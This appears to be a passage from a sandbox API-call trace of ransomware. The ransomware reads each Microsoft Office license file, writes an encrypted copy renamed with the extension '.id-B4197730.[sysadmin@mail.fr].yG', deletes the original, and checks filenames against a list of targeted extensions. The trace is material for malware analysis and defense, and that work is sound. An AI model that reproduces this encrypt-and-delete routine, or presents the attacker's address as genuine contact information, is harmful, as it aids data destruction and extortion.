	[0170.979] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.979] SetEndOfFile (hFile=0x554) returned 1
	[0170.980] CloseHandle (hObject=0x554) returned 1
	[0170.980] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.980] SetEndOfFile (hFile=0x388) returned 1
	[0170.982] CloseHandle (hObject=0x388) returned 1
	[0170.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1
	[0170.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.984] lstrlenW (lpString=".doc") returned 4
	[0170.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.984] lstrlenW (lpString=".docx") returned 5
	[0170.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.984] lstrlenW (lpString=".pdf") returned 4
	[0170.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.984] lstrlenW (lpString=".xls") returned 4
	[0170.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.984] lstrlenW (lpString=".xlsx") returned 5
	[0170.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.984] lstrlenW (lpString=".ppt") returned 4
	[0170.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.984] lstrlenW (lpString=".zip") returned 4
	[0170.984] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.985] lstrlenW (lpString=".rar") returned 4
	[0170.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.985] lstrlenW (lpString=".bz2") returned 4
	[0170.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.985] lstrlenW (lpString=".7z") returned 3
	[0170.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.985] lstrlenW (lpString=".dbf") returned 4
	[0170.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.985] lstrlenW (lpString=".1cd") returned 4
	[0170.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0170.985] lstrlenW (lpString=".jpg") returned 4
	[0170.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.985] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11151) returned 1
	[0170.986] CloseHandle (hObject=0x388) returned 1
	[0170.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220
	[0170.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.986] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.987] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0170.987] GetLastError () returned 0x0
	[0170.987] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0171.213] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0171.214] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.214] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0171.214] SetEndOfFile (hFile=0x554) returned 1
	[0171.507] CloseHandle (hObject=0x554) returned 1
	[0171.507] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.507] SetEndOfFile (hFile=0x388) returned 1
	[0171.510] CloseHandle (hObject=0x388) returned 1
	[0171.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1
	[0171.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.541] lstrlenW (lpString=".doc") returned 4
	[0171.541] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.541] lstrlenW (lpString=".docx") returned 5
	[0171.541] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.541] lstrlenW (lpString=".pdf") returned 4
	[0171.541] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.541] lstrlenW (lpString=".xls") returned 4
	[0171.541] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.541] lstrlenW (lpString=".xlsx") returned 5
	[0171.541] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.541] lstrlenW (lpString=".ppt") returned 4
	[0171.541] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.542] lstrlenW (lpString=".zip") returned 4
	[0171.542] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.542] lstrlenW (lpString=".rar") returned 4
	[0171.542] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.542] lstrlenW (lpString=".bz2") returned 4
	[0171.542] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.542] lstrlenW (lpString=".7z") returned 3
	[0171.542] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.542] lstrlenW (lpString=".dbf") returned 4
	[0171.542] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.542] lstrlenW (lpString=".1cd") returned 4
	[0171.542] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0171.542] lstrlenW (lpString=".jpg") returned 4
	[0171.542] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.543] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11139) returned 1
	[0171.544] CloseHandle (hObject=0x388) returned 1
	[0171.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220
	[0171.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0171.545] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.545] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0171.547] GetLastError () returned 0x0
	[0171.547] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0171.559] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0171.560] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.560] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x100, lpOverlapped=0x0) returned 1
	[0171.561] SetEndOfFile (hFile=0x554) returned 1
	[0171.561] CloseHandle (hObject=0x554) returned 1
	[0171.561] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.561] SetEndOfFile (hFile=0x388) returned 1
	[0171.564] CloseHandle (hObject=0x388) returned 1
	[0171.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1
	[0171.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.567] lstrlenW (lpString=".doc") returned 4
	[0171.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.567] lstrlenW (lpString=".docx") returned 5
	[0171.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.567] lstrlenW (lpString=".pdf") returned 4
	[0171.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.567] lstrlenW (lpString=".xls") returned 4
	[0171.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.567] lstrlenW (lpString=".xlsx") returned 5
	[0171.568] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.568] lstrlenW (lpString=".ppt") returned 4
	[0171.568] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.568] lstrlenW (lpString=".zip") returned 4
	[0171.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString=".rar") returned 4
	[0171.568] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString=".bz2") returned 4
	[0171.568] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString=".7z") returned 3
	[0171.568] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.568] lstrlenW (lpString=".dbf") returned 4
	[0171.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.568] lstrlenW (lpString=".1cd") returned 4
	[0171.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0171.568] lstrlenW (lpString=".jpg") returned 4
	[0171.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.569] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26585) returned 1
	[0171.569] CloseHandle (hObject=0x388) returned 1
	[0171.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220
	[0171.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0171.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0171.571] GetLastError () returned 0x0
	[0171.571] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x67d9, lpOverlapped=0x0) returned 1
	[0171.581] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x67e0, lpOverlapped=0x0) returned 1
	[0171.583] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.583] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0171.583] SetEndOfFile (hFile=0x554) returned 1
	[0171.584] CloseHandle (hObject=0x554) returned 1
	[0171.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.584] SetEndOfFile (hFile=0x388) returned 1
	[0171.796] CloseHandle (hObject=0x388) returned 1
	[0171.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1
	[0172.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.259] lstrlenW (lpString=".doc") returned 4
	[0172.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.260] lstrlenW (lpString=".docx") returned 5
	[0172.260] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.260] lstrlenW (lpString=".pdf") returned 4
	[0172.260] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.261] lstrlenW (lpString=".xls") returned 4
	[0172.261] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.261] lstrlenW (lpString=".xlsx") returned 5
	[0172.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.261] lstrlenW (lpString=".ppt") returned 4
	[0172.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.261] lstrlenW (lpString=".zip") returned 4
	[0172.261] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.261] lstrlenW (lpString=".rar") returned 4
	[0172.261] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.261] lstrlenW (lpString=".bz2") returned 4
	[0172.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.338] lstrlenW (lpString=".7z") returned 3
	[0172.338] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.339] lstrlenW (lpString=".dbf") returned 4
	[0172.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.340] lstrlenW (lpString=".1cd") returned 4
	[0172.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0172.340] lstrlenW (lpString=".jpg") returned 4
	[0172.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.341] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=22400) returned 1
	[0172.341] CloseHandle (hObject=0x550) returned 1
	[0172.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220
	[0172.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.346] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.346] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0172.347] GetLastError () returned 0x0
	[0172.347] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x5780, lpOverlapped=0x0) returned 1
	[0172.355] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x5790, lpOverlapped=0x0) returned 1
	[0172.357] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.357] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x110, lpOverlapped=0x0) returned 1
	[0172.358] SetEndOfFile (hFile=0x554) returned 1
	[0172.358] CloseHandle (hObject=0x554) returned 1
	[0172.358] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.358] SetEndOfFile (hFile=0x550) returned 1
	[0172.366] CloseHandle (hObject=0x550) returned 1
	[0172.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1
	[0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.370] lstrlenW (lpString=".doc") returned 4
	[0172.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.370] lstrlenW (lpString=".docx") returned 5
	[0172.370] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.370] lstrlenW (lpString=".pdf") returned 4
	[0172.370] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.370] lstrlenW (lpString=".xls") returned 4
	[0172.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.371] lstrlenW (lpString=".xlsx") returned 5
	[0172.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
